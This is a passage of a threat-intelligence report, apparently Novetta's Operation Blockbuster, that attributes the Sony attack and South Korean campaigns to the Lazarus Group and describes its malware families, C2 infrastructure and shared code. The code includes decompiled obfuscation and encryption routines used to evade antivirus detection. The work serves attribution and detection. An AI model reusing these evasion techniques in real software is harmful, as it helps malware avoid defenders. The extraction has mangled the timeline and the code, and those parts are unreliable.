A warning that same month warned users not to click on these SASE documents, as it exploits a vulnerability (CVE-2015-6585) in the Hangul Word Processor (HWP) to deliver a malicious payload.28 This same vulnerability, patched in September 2015, was reportedly exploited in zero-day attacks tied by researchers to North Korean threat actors.29 28 [Warning] Do not open an E-mail that includes a document titled 2015 .hwp (2015 Fall Conference Announcement).
Division of Information Security, Seoul National University.
October 20, 2015.
http://community.snu.ac.kr/bbs/bbs.enmessage.view.screen?bbs_id403message_id157326search_fieldtitlesearch_wordclassified_value 29 Hangul Word Processor (HWP) Zero-Day.
FireEye.
September 9, 2015.
https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 19 Figure [3-3]: Document dropped by an IndiaAlfa sample asking speakers to register papers for the upcoming Society for Aerospace System Engineering (SASE) conference The above decoy document is a .hwp file, meant to be used with Hangul Word Processor (HWP), an indigenous South Korean word processing software.
Other IndiaAlfa samples have also been observed dropping other decoy documents for HWP, such as a Korean-language resume and a directory for the Saejong Institutes National Strategy Training Courses, the latter of which was identified in an article referencing North Korean spear-phishing strategies.30 In fact, HWP appears to be a popular attack vector for targeting South Korean victims,31 32 which may be due to the fact that 80 of documents attached to South Korean government and public agencies websites are reportedly HWP documents.33 Based on the analysis of malware identified in this Operation and tied to the Lazarus Group based on code reuse, as well as the public reporting of events that we have linked to the Lazarus Groups activity, we believe that this threat group has targeted a wide variety of victims, in addition to the SPE attack.
30 (Public institutions urged to use caution...high likelihood of precision attacks targeting specific users).
(Daily News).
May 10, 2015.
http://news.mk.co.kr/newsRead.php?year2015no444993 31 (Zero-Day) (Attacks exploit Hangul file Zero-Day vulnerabilities) AhnLab.
January 29, 2013.
http://asec.ahnlab.com/902 32 (Malware exploits Hangul Zero-Day vulnerabilities) .
AhnLab.
May 20, 2015.
http://asec.ahnlab.com/1035 33 , (North Korea, Hangul Zero-Day attack attempt...were government secret documents revealed)?
Focus news.
September 11, 2015.
http://www.focus.kr/ view.php?key2015091100120249472 http://asec.ahnlab.com/902 http://asec.ahnlab.com/1035 3.4 Links to Previous Reporting Some of the malware variants identified during Operation Blockbuster have been correlated to previously reported incidents and attacks, either because the malware was specifically identified in the attack, the Lazarus Group malware shared notable code overlap with the publicly reported malware, or the C2 infrastructure publicly reported was also found hard coded in malicious tools used by the Lazarus Group.
Additionally, several events also had TTPs highly similar to those of the Lazarus Group and have been linked to other notable attacks by security researchers.
While some of these indicators, such as overlapping C2s or some TTPs, may not be definitive proof of a linked activity, the collective picture of these events together provide a stronger link.
These ties strongly suggest that the Lazarus Group has been active since at least 2009, and potentially as far back as 2007, or has extensively shared resources with other closely linked groups responsible for these attacks.
In the scenario that the GOP were a real organization and responsible for the SPE attack, this would suggest that SPE was not the only operation by the hacktivist group.
However, Novettas analysis and findings suggest that the SPE attack was one of several attacks attributable to the Lazarus Group, who may have posed as the pop up hacktivist collective to mislead or distract the public.
The Lazarus Group Timeline March 7, 2007: 2009 2013: April 2011: June 2012: March 2014: July 4, 2009: March 2011: 2012: March 20, 2013: November 24, 2014: Development of first generation malware used in Operation Flame, activity that is eventually tied to Operation 1Mission, Operation Troy, and the DarkSeoul 2013 attacks.
A large-scale DDoS attack on US and South Korean websites uses the MYDOOM and Dozer malware, which is suspected to have arrived in email messages.
The malware places the text Memory of Independence Day in the Master Boot Record (MBR).
Ten Days of Rain attack targets South Korean media, financial, and critical infrastructure targets.
Compromised computers within South Korea are used to launch DDoS attacks.
Operation 1Mission campaign, also linked to the March 2013 DarkSeoul attacks, begins.
Attackers behind this activity have reportedly been active since 2007.
DarkSeoul wiper attack targets three South Korea broadcast companies, financial institutes, and one ISP.
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SPE networks are attacked with destructive malware.
Information stolen from the companys networks is distributed online by previously unknown hacker group Guardians of Peace (GOP).
Operation Troy cyber espionage campaign is active for several years, culminating in the March 2013 DarkSeoul attacks.
DDoS attack targets Nonghyup Bank.
Conservative South Korean newspaper claims to have been attacked unsuccessfully with wiper malware.
Website is defaced by an unknown hacker group, IsOne.
A hacking attempt to steal South Korean military data reportedly uses a server also seen in the March 2013 DarkSeoul attack.43,44 Due to a lack of publicly available information on the C2 details, Novetta was unable to verify whether or not this attack was related.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 21 March 2014: A hacking attempt to steal South Korean military data reportedly uses a server also seen in the March 2013 DarkSeoul attack34 35.
Due to a lack of publicly available information on the C2 details, Novetta was unable to verify whether or not this attack was related.
Various security researchers have connected multi-staged attacks over a period of several years, largely against South Korean targets.
Attack methods used include hard disk wiping and DDoS attacks that triggered on historically significant dates, overwriting disk content with political strings, using legitimate third-party update mechanisms to move across target networks, specific encryption and obfuscation methods, and using similar C2 structures across campaigns.
We have been able to directly link several of these attacks to the Lazarus Group.
Operation Flame and Operation 1Mission: 2007 2012 IssueMakersLab researchers have connected malicious activity as recent as the March 2013 DarkSeoul wiper attack to activity as far back as 2007,36 as the attackers used the same passwords, RSA encryption keys, and C2 protocol across attacks.37 Since 2012, these attackers have reportedly carried out activities under the name Operation 1Mission, based on a PDB path found in a plurality of the malware linked to identified attack activity.
The group behind Operation 1Mission used legitimate third-party software (an ActiveX vulnerability) as an initial infection vector, shared public RSA key across malware variants for six years, exfiltrated data and downloaded additional malware using Stage 1 C2 servers using the same primary C2 protocol and C2 code, and distributed destructive malware via Stage 2 C2 servers using altered antivirus update files.
The Operation 1Mission TTPs have been reflected in multiple reported events listed in this section as well as in the Lazarus Groups malware: although we cannot confirm a link to the malware used in Operation 1Mission, Novetta has also observed shared public RSA keys across malware families, shared C2 infrastructure between unrelated families, and Stage 1 C2 servers used to distribute and download additional malware tools.
IssueMakerLabs analysis linking DarkSeoul to malicious activity from 2007 has also been supported by Fortinet research, which connected cyber activity from 2007, dubbed Operation Flame,38 to Operation 1Mission, Operation Troy, and the DarkSeoul attack.
While the earliest compilation date for Lazarus Group malware identified by Novetta during this Operation is 2009, Novetta has directly linked Lazarus Group tools to Operation Troy and at least two other attacks that 34 South Korea Detects Suspected North Korea Hacking Attempt.
Security Week.
March 27, 2014.
http://www.securityweek.com/south-korea-detects-suspected-north-korea-hacking-attempt 35 S. Korean military research agency kept mum about hacking.
The Dong-A Ilbo.
April 11, 2014.
http://english.donga.com/List/3/all/26/408162/1 36 South Korea identified whos behind the cyber attack.
IssueMakersLabs.
https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/edit?pli1 37 [] 3.20 , (The 3.20 cyber terrorism subject, the realities emerge) boannews.com April 9, 2013.
http://www.boannews.com/media/view.asp?idx35578 38 Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Fortinet.
2014.
https://www.blackhat.com/docs/asia-14/materials/Yang/Asia-14-Yang-Z-Make-Troy-Not-War-Case-Study-Of-The-Wiper-APT-In- Korea-And-Beyond.pdf March 7, 2007: 2009 2013: April 2011: June 2012: March 2014: July 4, 2009: March 2011: 2012: March 20, 2013: November 24, 2014: Development of first generation malware used in Operation Flame, activity that is eventually tied to Operation 1Mission, Operation Troy, and the DarkSeoul 2013 attacks.
A large-scale DDoS attack on US and South Korean websites uses the MYDOOM and Dozer malware, which is suspected to have arrived in email messages.
The malware places the text Memory of Independence Day in the Master Boot Record (MBR).
Ten Days of Rain attack targets South Korean media, financial, and critical infrastructure targets.
Compromised computers within South Korea are used to launch DDoS attacks.
Operation 1Mission campaign, also linked to the March 2013 DarkSeoul attacks, begins.
Attackers behind this activity have reportedly been active since 2007.
DarkSeoul wiper attack targets three South Korea broadcast companies, financial institutes, and one ISP.
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Two unknown groups take credit: NewRomanic Cyber Army Team and WhoIs Team.
SPE networks are attacked with destructive malware.
Information stolen from the companys networks is distributed online by previously unknown hacker group Guardians of Peace (GOP).
Operation Troy cyber espionage campaign is active for several years, culminating in the March 2013 DarkSeoul attacks.
DDoS attack targets Nonghyup Bank.
Conservative South Korean newspaper claims to have been attacked unsuccessfully with wiper malware.
Website is defaced by an unknown hacker group, IsOne.
A hacking attempt to steal South Korean military data reportedly uses a server also seen in the March 2013 DarkSeoul attack.43,44 Due to a lack of publicly available information on the C2 details, Novetta was unable to verify whether or not this attack was related.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 22 have been connected by researchers to the DarkSeoul attack (discussed below).
Based on IssueMakersLabs and Fortinets analyses, this could suggest that the Lazarus Group has been actively developing malware and conducting attacks since as early as 2007, or that they have links to another group active since that time.
Operation Troy: 2009 2012 Several of the malware variants collected and analyzed during Operation Blockbuster were reportedly used in the cyber- espionage campaign Operation Troy, active from 2009 to 2012.
This campaign has been connected not only to the March 2011 Ten Days of Rain attacks but also to the widely reported March 2013 DarkSeoul attack on South Korean broadcasters and financial institutions.39 The DarkSeoul wiper malware was said to have been uploaded to networks using prior access from Operation Troys long reconnaissance and data exfiltration campaign.40 The various malware tools used in Operation Troy were linked together by researchers based on shared code, and several of the malware hashes associated with Operation Troy also matched YARA signatures and known malware hashes for several Lazarus Group tools: DeltaAlfa, IndiaJuliett, IndiaGolf, IndiaHotel, LimaDelta, TangoBravo, and WhiskeyBravo (see Section 4.1 for details about the naming scheme used for malware attributed to the Lazarus Group).
Ten Days of Rain: March 2011 The March 2011 Ten Days of Rain attacks were a prolific series of DDoS attacks that targeted South Korean government, military, financial, and corporate organizations as well as U.S. military entities.41 42 The attack used the destructive malware payload identified by Novetta in this operation as WhiskeyBravo, as well as the DDoS malware DeltaAlfa, which was also later tied by researchers to the Operation Troy campaign.
Additionally, an IP address embedded in another malware tool uncovered during the investigation into the Lazarus Group, a variant of SierraJuliett, was used as a first tier C2 server in these attacks.
The Ten Days of Rain attacks also bore many similarities to the July 2009 DDoS attacks against U.S. and Korean sites.43 44 45 Notably, one sample of malware identified in the 2009 attacks includes a suicide script (Section 4.3.4) containing strings that appear to match the suicide script seen with KiloAlfa, a keylogger linked to the Lazarus Groups malware corpus during this operation.
This would suggest that malware code widely used by the Lazarus Group can be linked via code reuse to publicly reported attacks as far back as 2009.
Other attacks on South Korean targets appear to share the same TTPs and infrastructure attributed to the above attacks, such as a June 2012 attack on conservative media organization JoongAng.
An investigation into the attack by South Korean officials found that the attackers used two North Korean servers and 17 servers in 10 other countries.
One of the servers used in the attack on JoongAng was also used in the March 2011 Ten Days of Rain attacks as well as the April 2011 Nonghyup Bank attack.46 The JoongAng attack was claimed by the previously unknown hacking group IsOne.47 Like GOP, IsOne emerged from complete obscurity and has done nothing since.
The attack used destructive malware that reportedly affected databases and the newspaper editing system.
Additionally, the JoongAng Ilbo website was defaced.
The attack followed threats made the previous week by North Korea in response to reporting by South Korean media, though this does not necessarily suggest a motive for the attacker(s).
39 20133 (I tried to summarize the cyber attacks on South Korea in March 2013) piyolog.
March 23, 2013.
http://d.hatena.ne.jp/Kango/20130323/1363986809 40 Dissecting Operation Troy: Cyberespionage in South Korea.
McAfee.
2013.
http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf 41 Ten Days of Rain: Expert analysis of distributed denial-of-service attacks targeting South Korea.
McAfee.
2011.
http://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf 42 Check your zombie device Analysis of the DDoS cyber terrorism against the country and future attacks on various devices.
DongJoo Ha, SangMyung Choi, TaeHyung Kim, SeungYoun Han.
Presentation at Black Hat Abu Dhabi, 2011.
https://media.blackhat.com/bh-ad-11/Ha/bh-ad-11-Ha-Check_Your_Zombie_Devices_Slides.pdf 43 MYDOOM Code Re-Used in DDoS on U.S. and South Korean Sites.
Trend Micro.
July 9, 2009.
http://blog.trendmicro.com/trendlabs-security-intelligence/mydoom-code-re-used-in-ddos-on-u-s-and-south-korean-sites/ 44 McAfee Fingers North Korea in Attacks on South Korean Sites.
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48 Ten Days of Rain: Expert analysis of distributed denial-of-service attacks targeting South Korea.
McAfee.
2011.
http://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf 49 Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War.
Symantec.
June 26, 2013.
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberat- tacks-against-south-korea-continue-anniversary-korean-war 50 South Korea Blames North Korea for Cyberattack.
Hamodia.
July 17, 2013.
http://hamodia.com/2013/07/17/south-korea-blames-north-korea-for-cyberattack/ 51 Analysis of Korean War Anniversary Cyber Attack and Malware.
Tripwire.
June 27, 2013.
http://www.tripwire.com/state-of-security/vulnerability-management/analysis-of-korean-war-anniversary-cyber-attack-malware/ 52 MBR Wiper Attacks Strike Korean Power Plant.
Trend Micro.
December 23, 2014.
http://blog.trendmicro.com/trendlabs-security-intelligence/mbr-wiper-attacks-strike-korean-power-plant/ 53 http://hamodia.com/2013/07/17/south-korea-blames-north-korea-for-cyberattack/ Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 24 4.
Malware Tooling The tool set used by the Lazarus Group overtime has been extensive.
To date, more than 45 different malware families have been observed, with the bulk of these families containing strong code-based relationships (code sharing).
The Lazarus Groups malware collection breaks down into larger classifications: installers/ uninstallers, loaders, destructive malware, remote administration tools (RATs), data exfiltration tools, attack staging/content distribution, distributed denial of service tools, and specific use tools.
This section will cover the naming scheme used to classify the malware families, the known infrastructure of the Lazarus Group, and the code relationships that Novetta found, allowing us to link all of these malware families together.
To date, more than 45 different malware families have been observed, with the bulk of these families containing strong code-based relationships (code sharing).
C H A P T E R Four Operation Blockbuster: Unraveling the Long Thread of the Sony Attacks 25 4.1 Naming Scheme For Operation Blockbuster, Novetta uses a naming scheme to allow the reader to quickly identify the larger class to which a particular malware family belongs.
The naming scheme consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization (ICAO)s phonetic alphabet,54 commonly referred to as the NATO phonetic alphabet.
The first identifier specifies the general classification of the malware family while the second identifier specifies the specific family within the larger general classification.
For example, RomeoAlfa specifies a RAT family identified as Alfa.
For the purposes of this paper, the term family, with respect to malware grouping, is defined as a collection of like malware samples that have a common code base, design and function with a clear evolutionary path.
Within a single family there may exists variants that exhibit the same primary criteria of the overall family, but have significant evolutionary differences that allow for additional grouping, but not such that the overall design and functionality of the code base changed to the point of dictating the need for an entirely new family classification.
While many of the families are dropped by another family of malware (e.g.
a dropper), a distinction is made between the malware that drops/installs another piece of malware and the family to which the dropped malware belongs because the two families of malware serve two different functions and have two different designs.
FIRST LEVEL IDENTIFIER GENERAL CLASSIFICATION Delta DDoS Hotel HTTP Server India Installer Lima Loader Kilo Keylogger Papa Proxy Romeo RAT Sierra Spreader Tango Tool (Non-Classed) Uniform Uninstaller Whiskey Destructive Malware (Wiper) Table 4-1: First Level Identifiers for the Lazarus Group Family Names and their Classification Meanings There is no temporal component to the second level identifiers given to malware families.
While generally the second identifiers are largely sequential (Alfa, Bravo, Charlie, and so on), the identifier does not indicate that one family came before another chronologically.
Instead, the second level identifiers were assigned by the order Novetta discovered each particular family.
54 International Civil Aviation Organization.
Alphabet Radiotelephony.
http://www.icao.int/Pages/AlphabetRadiotelephony.aspx Accessed 1 December 2015.
http://www.icao.int/Pages/AlphabetRadiotelephony.aspx http://www.icao.int/Pages/AlphabetRadiotelephony.aspx DELTA DDoS HOTEL HTTP Server INDIA Installer KILO Keylogger PAPA Proxy ROMEO RAT SIERRA Spreader TANGO Tool (Non- classed) LIMA Loader UNIFORM Uninstaller WHISKEY Destructive Malware (Wiper) IndiaGolf IndiaAlpha IndiaBravo IndiaCharlie IndiaDelta IndiaEcho IndiaFoxtrot IndiaHotel IndiaJuliett IndiaKilo IndiaWhiskey IndiaIndia UniformAlfa KiloAlfa DeltaAlfa DeltaBravo DeltaCharlie HotelAlfa PapaAlfa RomeoAlfa RomeoBravo RomeoCharlie RomeoDelta RomeoEcho RomeoFoxtrot RomeoGolf RomeoHotel RomeoMike RomeoNovember RomeoWhiskey SierraAlfa SierraBravo SierraCharlie SierraJuliett-MikeOne SierraJuliett-MikeTwo LimaAlfa LimaBravo LimaCharlie LimaDelta UniformJuliett TangoBravo TangoCharlie TangoDelta TangoAlfa WhiskeyAlfa WhiskeyBravo WhiskeyCharlie WhiskeyDelta DELEE TAHOTELINDIAKILOPAPAROMEOSIERRATANGO LIMAUNIFORMWHISKEY The Lazarus Group Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 27 4.2 Infrastructure Evidence suggests that parts of the infrastructure used for the malware variants set C2 touch points are unaffiliated compromised hosts.
IP addresses used as C2s include mail server and gaming server IPs (some of which have been listed for spam activity), compromised IPs allocated to educational institutions, public VPNs and proxies, and several IPs that have been publicly posted on forums or pastebin posts with associated usernames and passwords.
Given that several identified malware families contain proxy components, it is highly likely that the set C2 touch points are being used as proxies to mask the real C2 server.
In the samples Novetta has collected and analyzed the Lazarus Group almost exclusively uses IP addresses over DNS addresses when specifying C2 server locations.
The plurality of identified IP addresses used by the Lazarus Group geo-locate to the United States.
Other C2 locations include Taiwan, Indonesia, India, and China.
The Lazarus Group also makes use of P2P-based C2 infrastructure, as seen with the malware family SierraJuliett, whose variants are used as content distribution and attack staging platforms.
Notably, such an environment would facilitate access to operators with even low skillsets across all infection instances by providing them a consistent and common operational environment (COE).
Based on samples identified by Novetta, this P2P platform has been under active development since 2011, suggesting it was an early developmental priority for the group, likely due to its effectiveness at facilitating sustained operations.
The importance of such a uniform environment for operations is not limited to threat actors like the Lazarus Group, but is a real-world priority for the U.S. Army,55 56 among others.
This suggests that a cyber COE is integral for any well-organized, resourced group tasked with executing difficult operations with varying levels of expertise at an individual operators level.
55 Common Operating Environment Architecture: Appendix C to Guidance for End State Army Enterprise Network Architecture.
U.S. Army CIO/G-6.
October 1, 2010.
http://ciog6.army.mil/LinkClick.aspx?fileticketudbujAHXm- K03Dtabid79 56 Common Operating Environment assists Army Modernizatio.
Army.mil.
February 15, 2013.
http://www.army.mil/article/96650/Common_Operating_Environment_assists_Army___/ Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 28 4.3 Code Relationships The Lazarus Group reuses a significant amount of code, to the point where the reused code snippets have formed a kind of software development kit.
As a result of this code sharing and reuse, it is possible to link seemingly disconnected malware families together, as mentioned in Section 2.1.
From the extensive similarities of common libraries and shared snippets of code across such a wide variety of malware types, these relationships have allowed Novetta to link the SPE destructive malware to installers, loaders, DDoS malware, network tools, spreaders, RATs, and other destructive malware compiled over a period of several years.
From the extensive similarities of common libraries and shared snippets of code across such a wide variety of malware types, these relationships have allowed Novetta to link the SPE destructive malware to installers, loaders, DDoS malware, network tools, spreaders, RATs, and other destructive malware compiled over a period of several years.
This section will explore the various shared code fragments found throughout the Lazaruss collection of malware in order to provide a better understanding of why these particular pieces of code are prevalent and how the codes manifest themselves.
The shared code breaks down into four major categories: encryption, dynamic API loading, network functionality, and miscellaneous.
An appendix to this report details the specific malware families and how they are linked to the Lazarus Groups collective arsenal by code fragments, and Novetta is releasing additional in depth technical reports that further detail the individual malware families.
4.3.1 Encryption Encryption is a powerful tool for obfuscating the true meaning of information both stored on the victims hard drive in the form of data files or even within a malwares binary, and when the information is traversing a more public arena such as the Internet.
The Lazarus Group has a relatively small set of encryption and encoding schemes that the developer(s) of the various Lazarus Group malware families rely upon.
There are several of these encryption and encoding schemes which make excellent indicators of the presence of the Lazarus Group based on their obscurity and uniqueness.
4.3.1.1 Caracachs Encryption An obscure encryption scheme developed by Alexandre Pukall in 2000, Caracachs is a symmetric stream cipher that takes a minimum of 20 characters (160-bits) as the key.
The C source code for Caracachs is freely available on the Internet,57 but with respect to the implementation of Caracachs within the malware used by the Lazarus group, Caracachs is typically seen encapsulated as a C class rather than a C library.
The most notable feature of Caracachs, when viewed within the binaries of the families that use it, is the stream function.
The source code for this function takes the form seen in Figure 6-1.
57 CARACACHS Cipher http://ftp.icm.edu.pl/packages/replay.old/libraries/caracash/CARACACH.C 15 September 2015 http://ftp.icm.edu.pl/packages/replay.old/libraries/caracash/CARACACH.C Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 29 stream(unsigned int r,unsigned long index,unsigned long a,unsigned long b) b[index] ( b[index] (a) ) 1 r _ rotl( (r (( b[index] 16 ) 0x7fff)), ((r)16) ) Figure 6-1: Caracachs stream Function After compilation, and subsequent decompilation through Hex-Rays, the function takes the form seen in Figure 6-2.
void _ _ stdcall caracachs _ stream(DWORD r, DWORD index, DWORD a, DWORD b) unsigned int v4 // edx1 char v5 // cl1 b[index] a b[index] 1 v4 b[index] v5 ((v4 16) ( _ BYTE )r) 0xF r ((((v4 16) 0x7FFF) r) v5) ((((v4 16) 0x7FFF) r) (16 v5)) Figure 6-2: Caracachs stream Function after Decompilation The four lines that make up the stream function make a suitable pattern for detecting Caracachs code within a binary.
The authors using Caracachs for Lazaruss malware were not terribly original in their use of the cipher suite.
In many families, the key used to initialize Caracachs is set to abcdefghijklmnopqrstuvwxyz012345\0\0\0\0\0, which is the similar to the key found within the Caracachs source code.
The common function found in multiple families using Caracachs to set the key takes the form seen in Figure 6-3.
void _ _ thiscall CCaracachs::GenerateKey(CCaracachs this) qmemcpy(this-szPassword, abcdefghijklmnopqrstuvwxyz012345, sizeof(this- szPassword)) this-dwPasswordLength 0x20 CCaracachs::SetKey(this, 0x20u, this-szPassword) Figure 6-3: Caracachs Classs GenerateKey Function The original source code performs the same key initialization feat by using the code snippet seen in Figure 6-4.
strcpy(code,abcdefghijklmnopqrst) / the password / longueur20 / length of the key up to 256 characters / / init the key / pc3init(longueur,code) Figure 6-4: Establishing the Key for Caracachs in the Original Source Code The authors merely encapsulated the initialization of the cipher within a single member of the C class, all without changing the password or even the order of variable assignments.
This process of reusing entire code snippets without any modifications appears to be repeated by the developer(s) throughout a number of Lazarus Group tools.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 30 4.3.1.2 Basic XOR with Constant 0xA7 It is not uncommon for malware to use a simple XOR to obfuscate strings and data within a binary.
It is also not uncommon for authors to use the same byte across multiple variants of the same malware and even multiple families that can be attributed to the same (set of) authors.
By itself, looking at the XOR function within a binary as an indicator of authorship is usually a poor choice.
However, combined with other attributes of the surrounding code, an XOR function found in multiple variants and families can provide reassurance that those variants and/or families have some code familiarity.
The Lazarus Group uses simple, but somewhat distinct, XOR obfuscation systems.
When dealing with string obfuscations, the Lazarus Group uses the value 0xA7 to transform null-terminated strings by means of XOR each byte within the string by 0xA7.
The 0xA7 scheme is exclusively used for null-terminated strings, as the XOR function depends on a null character to indicate the end of the data to transform.
Slight variations appear between families (Figure 6-5 provides one representative example), but two features of the 0xA7 scheme remain constant: the length of the data to transform is calculated by locating the first null and each byte is XOR transformed against the byte 0xA7.
char __cdecl XorA7(const char pBuffer) unsigned char pOut malloc(strlen(pBuffer) 1) int j 0 if ( strlen(pBuffer) 0 ) p pOut for ( int i pBuffer pOut i pBuffer pOut) j p p[i] 0xA7 p if ( j strlen(pBuffer) ) break pOut[j] 0 return pOut Figure 6-5: Lazarus Groups 0xA7 Transform Function Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 31 4.3.1.3 DNSCALC-Style Encoding DNSCALC is an older malware family, used by several APT groups and first profiled in 2010, whose claim to fame was the use of DNS lookups for domain names that would return specific IP addresses used to calculate the listening port number for the C2 server.
One notable feature of DNSCALC was the use of a combination of XOR with an ADD operation and XOR with a SUB operation for the purposes of encrypting and decrypting data streams.
Since at least 2011, the Lazarus Group has commandeered this technique for use in a variety of their malware families.
The DNSCALC version of this encoding/decoding scheme performed the transformation operation on each byte using two lines of C code such as d 122 d 25 where the values 122 and 25 constitute the encryption and decryption keys.
The Lazarus Group performs the same operation in a single line of code, such as d (e 25) 122 and e (d 122) 25 This subtle, but important, distinction in style indicates that the code was not directly copied from DNSCALC, but rather was inspired by DNSCALC or another source that performs the same transform.
It should be noted that DNSCALC modified the Gh0st RAT MyEncode function, seen below, by reversing the order of operations meaning that the Lazarus Groups use of the encoding scheme represents a derivation of an existing derivation.
char MyEncode(char str) int i, len char p char s, data len strlen(str) 1 s (char )malloc(len) memcpy(s, str, len) for (i 0 i len i) s[i] 0x19 s[i] 0x86 base64 _ encode(s, len, data) free(s) return data The DNSCALC-style encoding scheme code is heavily used throughout many of the various malware families for which the Lazarus Group is responsible.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 32 4.3.1.4 Space-Dot Encoding Strings, especially when used to dynamically load Windows API functions at runtime, provide a significant amount of surface for antivirus and host-based IDS to detect potentially malicious code.
For this reason, it is not uncommon for malware authors to obfuscate strings that identify the Windows API functions the malware will attempt to dynamically load.
Simple obfuscations are generally more than adequate to defeat string-based detection systems, allowing attackers to use simple XORs or character substitution techniques to get around detection.
The Lazarus Group used a simple method to confuse systems looking for the API names they were to load.
Instead of obfuscating the name by transforming individual characters, the names were interrupted with unnecessary characters such as dots, spaces, greater than, less than, and underscore characters.
This broke up names such as ChangeServiceConfig2A into ChangeServi ceConfig2A.
Novetta has dubbed this scheme of inserting junk characters into API name strings as Space-Dot Encoding based on the fact that the bulk of the implementations of the system only introduces spaces and dots.
In order to recover the original, unmolested string, the Space-Dot decoding function will scan character by character through the supplied string, copying each byte to a global buffer so long as the character does not match one of the undesirable characters.
Upon completion of the function, a pointer to the buffer containing the desired string is returned to the caller.
The function that performs the decoding takes the form of seen in Figure 6-6.
char _ _ cdecl DecodeString(char pzString) char p pzString char b g _ decodingBuffer memset(decodingBuffer, 0, 0x50u) while ( p ) char c p if ( p c c _ c c . )
b c p return g _ decodingBuffer Figure 6-6: Space-Dot Decoding Function As the usage of the Space-Dot Encoding aged, the authors removed , , and _ from the character set and instead relied on only spaces and dots to provide the necessary junk characters to throw off detection systems.
The result is a slightly simpler if statement, but otherwise the remainder of the Space-Dot decoding function remained constant throughout the use of the scheme in the Lazarus Groups malware.
4.3.1.5 RSA Encryption Several families within the Lazarus Groups malware collective use public/private key encryption.
Some use the encryption for securing documents that the malware exfiltrates, while others use it for signing and authenticating commands.
Regardless of the use, the malware families using the RSA scheme share a common code library to implement the cryptographic functionality.
Public/private key encryption, or asymmetric encryption, is a form of encryption where the key used to encrypt data differs from the key used to decrypt the data.
The effect of having asymmetric encryption in malware is that the authors and/or operators of the malware can embed the decryption key for commands into the malware while retaining the encryption key for themselves.
This restricts others from issuing commands to the malware since the encryption key is not known, thereby preventing those not associated with the malware from attempting to inject commands.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 33 Based on CRSA,58 the Lazarus Groups implementation of RSA wraps the CRSA class into a single function for encryption and decryption (Figure 6-7).
char _ _ cdecl RSATransform(int mode, char pvKey, int dwKeyLength, char pvIn, int dwOutBufSize, char pvOut, DWORD pdwOutputLength) int v8 // ecx2 int v9 // eax4 char result // eax7 signed int v11 // eax12 CRSA rsa // [sp10h] [bp-58h]1 int eh // [sp64h] [bp-4h]1 CRSA::CRSA(rsa) eh 0 if ( pvOut ((v8 (dwKeyLength 7) 3, mode) mode 1 ?
(
v9 (dwOutBufSize 1) / (v8 8) 1) : (v9 (dwOutBufSize 1) / v8 1, v8 - 8), (pvOut (char )LocalAlloc(0x40u, v8 v9)) 0) ) if ( mode mode RSA _ PUB _ DEC ) CRSA::SetPrivKey(rsa, pvKey, dwKeyLength) else CRSA::SetPubKey(rsa, pvKey, dwKeyLength) v11 CRSA::transform(rsa, mode, pvIn, dwOutBufSize, pvOut) if ( pdwOutputLength ) pdwOutputLength v11 eh -1 CRSA::Dstr(rsa) result pvOut else eh -1 CRSA::Dstr(rsa) result 0 return result Figure 6-7: The Lazarus Groups RSA Encapsulation Function as seen after Decompilation The RSATransform function is a unique implementation that appears to be specific to the Lazarus Group, thereby making it a valuable identifier of malware related to the group.
The function can operate in one of four modes: public key encryption, public key decryption, private key encryption, and private key decryption.
However, across the various identified samples that use RSATransform, only the public key encryption and decryption modes have been observed by Novetta.
58 RSAUtil.cpp RSA.cpp http://read.pudn.com/downloads145/sourcecode/windows/system/633068/RSAUtil/RSA.cpp__.htm 16 March 2004 http://read.pudn.com/downloads145/sourcecode/windows/system/633068/RSAUtil/RSA.cpp__.htm Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 34 4.3.1.6 Shared Public Key While not necessarily a shared library, the use of a common public key is a definitive, identifiable characteristic that can link multiple families of malware to a common actor or actor set.
With respect to the Lazarus Group, there is a common public key that is used in multiple families within the groups collective.
This fact would indicate that there is a single private key that is shared across malware for decryption/authentication, controlled by the Lazarus Group.
The reuse of cryptographic keys has also been discussed by security researchers profiling both Operation Troy and Operation 1Mission.
Found originally in a variant of SierraJuliett59 family of malware from 2011, the following 1024-bit key has been identified in malware as recently as 2015: 47A713F89BBC74CBCE771E0F00A039561BC566F394B1EA2271DE2B42CCE9F72F31E722B06FBB0203FC0A2F51E- ED054250EE34FF09FBAE7AC20D694E6BAD3AB4CD98CFD1C7FBA4875E5853966881EE9C9745106DECBC1D13747B- 61C629AB2DCFCB809CE88C5927DF017E75B8262F96AE4EEDBE65DC9185D202A32C3E807CD99CE To date, the 1024-bit key has been observed in samples from the RomeoWhiskey, SierraBravo, and SierraCharlie families.
4.3.2 Dynamic API Loading Dynamic API loading is a technique in which the standard Windows functions LoadLibrary and GetProcAddress are used to dynamically load desired API functions at run time.
The import table of a binary can easily give away the intent of the executable.
For example, a binary that has SetWindowsHookEx and several of the Winsock API functions is most likely a network-capable keylogger.
As such, certain combinations of API function imports can indicate suspicious behavior, allowing antivirus vendors to use such indicators when determining the intent of a binary through their various heuristic detection schemes.
Therefore, it is beneficial for malware authors to obfuscate the more severe or telling API functions they need to load and keep these functions out of the import table of the binary.
This leads to the use of dynamic API loading schemes.
Dynamic API loading allows the malware authors to remove the names of the telling APIs from the import table but still requires the malware authors to provide the full name of the desired API functions to GetProcAddress.
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This leads to another facet of dynamic API loading: API name obfuscation.
GetProcAddress, in order to load any API function into memory, requires either an ordinal number identifying the API function in question or the name of the API function.
